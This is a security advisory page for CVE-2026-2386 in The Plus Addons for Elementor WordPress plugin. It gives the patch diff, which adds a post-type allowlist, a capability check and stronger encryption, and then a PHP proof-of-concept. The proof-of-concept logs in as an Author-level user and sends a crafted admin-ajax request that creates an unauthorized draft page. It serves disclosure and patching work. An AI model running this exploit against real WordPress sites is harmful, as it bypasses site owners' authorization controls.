CVE-2026-2386: The Plus Addons for Elementor – Addons for Elementor, Page Templates, Widgets, Mega Menu, WooCommerce <= 6.4.7 – Incorrect Authorization to Authenticated (Author+) Arbitrary Draft Post Creation via 'post_type' (the-plus-addons-for-elementor-page-builder)

--- a/the-plus-addons-for-elementor-page-builder/includes/plus_addon.php
+++ b/the-plus-addons-for-elementor-page-builder/includes/plus_addon.php
@@ -144,25 +144,58 @@
  * @since 6.0.4
  */
 function L_tp_plus_simple_decrypt( $string, $action = 'dy' ) {
-	// you may change these values to your own
-	$tppk      = get_option( 'theplus_purchase_code' );
-	$generated = ! empty( get_option( 'tp_key_random_generate' ) ) ? get_option( 'tp_key_random_generate' ) : 'PO$_key';
-
-	$secret_key = ( isset( $tppk['tp_api_key'] ) && ! empty( $tppk['tp_api_key'] ) ) ? $tppk['tp_api_key'] : $generated;
-	$secret_iv  = 'PO$_iv';
-
-	$output         = false;
-	$encrypt_method = 'AES-128-CBC';
-	$key            = hash( 'sha256', $secret_key );
-	$iv             = substr( hash( 'sha256', $secret_iv ), 0, 16 );
-
-	if ( $action == 'ey' ) {
-		$output = base64_encode( openssl_encrypt( $string, $encrypt_method, $key, 0, $iv ) );
-	} elseif ( $action == 'dy' ) {
-		$output = openssl_decrypt( base64_decode( $string ), $encrypt_method, $key, 0, $iv );
+
+	$option_name_key = 'tp_key_random_generate';
+    $secret_key = get_option( $option_name_key );
+
+	if ( empty( $secret_key ) ) {
+        $secret_key = wp_generate_password( 32, true, true );
+        add_option( $option_name_key, $secret_key, '', 'no' );
+    }
+
+	$key = hash( 'sha256', $secret_key, true );
+    $cipher = 'aes-256-gcm';
+
+	if ( $action === 'ey' ) {
+        $iv = random_bytes(12);
+        $tag = '';
+
+        $ciphertext = openssl_encrypt( $string, $cipher, $key, OPENSSL_RAW_DATA, $iv, $tag);
+
+        if ( false === $ciphertext ) {
+            return false;
+        }
+
+        $encoded = base64_encode( $iv . $tag . $ciphertext );
+		$encoded = str_replace( ['+', '/', '='], ['-', '_', ''], $encoded );
+		return $encoded;
+    } elseif ( $action === 'dy' ) {
+
+		$string = str_replace( ['-', '_'], ['+', '/'], $string );
+
+		$padding = strlen($string) % 4;
+		if ($padding) {
+			$string .= str_repeat('=', 4 - $padding);
+		}
+
+        $decoded = base64_decode( $string, true );
+
+        if ( false === $decoded || strlen($decoded) < 28 ) {
+			return false;
+		}
+
+        $iv  = substr( $decoded, 0, 12 );
+        $tag = substr( $decoded, 12, 16 );
+        $ciphertext = substr( $decoded, 28 );
+
+		if ( empty( $iv ) || empty( $tag ) || empty( $ciphertext ) ) {
+            return false;
+        }
+
+        return openssl_decrypt( $ciphertext, $cipher, $key, OPENSSL_RAW_DATA, $iv, $tag );
 	}

-	return $output;
+	return false;
 }

 /**
--- a/the-plus-addons-for-elementor-page-builder/modules/controls/theme-builder/tpae-class-nxt-download.php
+++ b/the-plus-addons-for-elementor-page-builder/modules/controls/theme-builder/tpae-class-nxt-download.php
@@ -123,40 +123,59 @@

 			check_ajax_referer( 'tp_nxt_install', 'security' );

-			if ( ! current_user_can( 'edit_posts' ) ) {
-				$response = $this->tpae_response('Invalid Permission.', 'Something went wrong.',false );
+			$post_type = isset( $_POST['post_type'] ) ? sanitize_key( $_POST['post_type'] ) : 'elementor_library';
+			$page_type = isset( $_POST['page_type'] ) ? sanitize_text_field( $_POST['page_type'] ) : 'tp_header';
+			$page_name = isset( $_POST['page_name'] ) ? sanitize_text_field( $_POST['page_name'] ) : 'theplus-addon';
+
+			$allowed_post_types = array( 'elementor_library', 'nxt_builder' );
+			if ( ! in_array( $post_type, $allowed_post_types, true ) ) {
+				$response = $this->tpae_response( 'Invalid Post Type', 'The selected post type is not allowed.', false );

 				wp_send_json( $response );
 				wp_die();
 			}

-			$post_type = isset( $_POST['post_type'] ) ? sanitize_text_field( $_POST['post_type'] ) : 'elementor_library';
-			$page_type = isset( $_POST['page_type'] ) ? sanitize_text_field( $_POST['page_type'] ) : 'tp_header';
-			$page_name = isset( $_POST['page_name'] ) ? sanitize_text_field( $_POST['page_name'] ) : 'theplus-addon';
+			$post_type_object = get_post_type_object( $post_type );
+			if ( ! $post_type_object ) {
+				$response = $this->tpae_response( 'Post Type Not Found', 'The requested post type does not exist.', false );
+
+				wp_send_json( $response );
+				wp_die();
+			}
+
+			if ( ! current_user_can( $post_type_object->cap->create_posts ) ) {
+				$response = $this->tpae_response( 'Permission Denied', 'You do not have permission to create this content.', false );

-			$post_args = array(
-				'post_type'   => $post_type,
-				'post_title'  => $page_name,
-				'post_status' => 'draft',
+				wp_send_json( $response );
+				wp_die();
+			}
+
+			$post_id = wp_insert_post(
+				array(
+					'post_type'   => $post_type,
+					'post_title'  => $page_name,
+					'post_status' => 'draft',
+				)
 			);

-			$post_id = wp_insert_post( $post_args );
+			if ( is_wp_error( $post_id ) ) {
+				$response = $this->tpae_response( 'Creation Failed', 'Failed to create the post. Please try again.', false );
+
+				wp_send_json( $response );
+				wp_die();
+			}

 			if ( $post_type === 'nxt_builder' ) {
-				if ( $post_id && ! is_wp_error( $post_id ) ) {
-					update_post_meta( $post_id, 'template_type', $page_type );
-					update_post_meta( $post_id, 'nxt-hooks-layout-sections', $page_type );
-				}
+				update_post_meta( $post_id, 'template_type', $page_type );
+				update_post_meta( $post_id, 'nxt-hooks-layout-sections', $page_type );
 			} elseif ( $post_type === 'elementor_library' ) {
-				if ( $post_id && ! is_wp_error( $post_id ) ) {
-					update_post_meta( $post_id, '_elementor_template_type', $page_type );
-				}
+				update_post_meta( $post_id, '_elementor_template_type', $page_type );
 			}

 			$elementor_edit_url = admin_url( 'post.php?post=' . $post_id . '&action=elementor' );

 			$response = $this->tpae_response(
-				'',
+				'Page Created Successfully', 'Your template has been created successfully.',
 				true,
 				array(
 					'post_id'  => $post_id,
@@ -165,6 +184,7 @@
 			);

 			wp_send_json( $response );
+			wp_die();
 		}


--- a/the-plus-addons-for-elementor-page-builder/theplus_elementor_addon.php
+++ b/the-plus-addons-for-elementor-page-builder/theplus_elementor_addon.php
@@ -3,7 +3,7 @@
  * Plugin Name: The Plus Addons for Elementor
  * Plugin URI: https://theplusaddons.com/
  * Description: Highly Customisable 120+ Advanced Elementor Widgets & Extensions for Performance Driven Website.
- * Version: 6.4.7
+ * Version: 6.4.8
  * Author: POSIMYTH
  * Author URI: https://posimyth.com/
  * Text Domain: tpebl
@@ -20,7 +20,7 @@
 	exit;
 }

-define( 'L_THEPLUS_VERSION', '6.4.7' );
+define( 'L_THEPLUS_VERSION', '6.4.8' );
 define( 'L_THEPLUS_FILE', __FILE__ );
 define( 'L_THEPLUS_PATH', plugin_dir_path( __FILE__ ) );
 define( 'L_THEPLUS_PBNAME', plugin_basename( __FILE__ ) );

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2386 - The Plus Addons for Elementor – Addons for Elementor, Page Templates, Widgets, Mega Menu, WooCommerce <= 6.4.7 - Incorrect Authorization to Authenticated (Author+) Arbitrary Draft Post Creation via 'post_type'

<?php
/**
 * Proof of Concept for CVE-2026-2386
 * Requires: WordPress installation with The Plus Addons for Elementor <= 6.4.7
 *           Author-level user credentials
 *           Valid nonce from plugin interface
 */

$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'author_user';
$password = 'author_password';

// Step 1: Authenticate to WordPress and obtain cookies
$login_url = str_replace('/admin-ajax.php', '/wp-login.php', $target_url);
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => admin_url(),
        'testcookie' => 1
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);

// Step 2: Extract nonce from plugin interface (simplified - in real exploit would parse from page)
// Note: Actual exploitation requires obtaining a valid nonce from the plugin's admin interface
$nonce = 'EXTRACTED_NONCE_HERE'; // Would be obtained from page source

// Step 3: Exploit the vulnerability to create unauthorized page draft
$payload = [
    'action' => 'tpae_create_page',
    'security' => $nonce,
    'post_type' => 'page', // Restricted post type requiring 'edit_pages' capability
    'page_type' => 'tp_header',
    'page_name' => 'Unauthorized Page Created via CVE-2026-2386'
];

curl_setopt_array($ch, [
    CURLOPT_URL => $target_url,
    CURLOPT_POSTFIELDS => $payload,
    CURLOPT_REFERER => str_replace('/admin-ajax.php', '/wp-admin/', $target_url)
]);

$response = curl_exec($ch);
curl_close($ch);

// Step 4: Parse response
$result = json_decode($response, true);
if ($result && isset($result['success']) && $result['success']) {
    echo "[+] Exploit successful! Created post ID: " . $result['data']['post_id'] . "n";
    echo "[+] Edit URL: " . $result['data']['edit_url'] . "n";
} else {
    echo "[-] Exploit failed. Response: " . $response . "n";
}

?>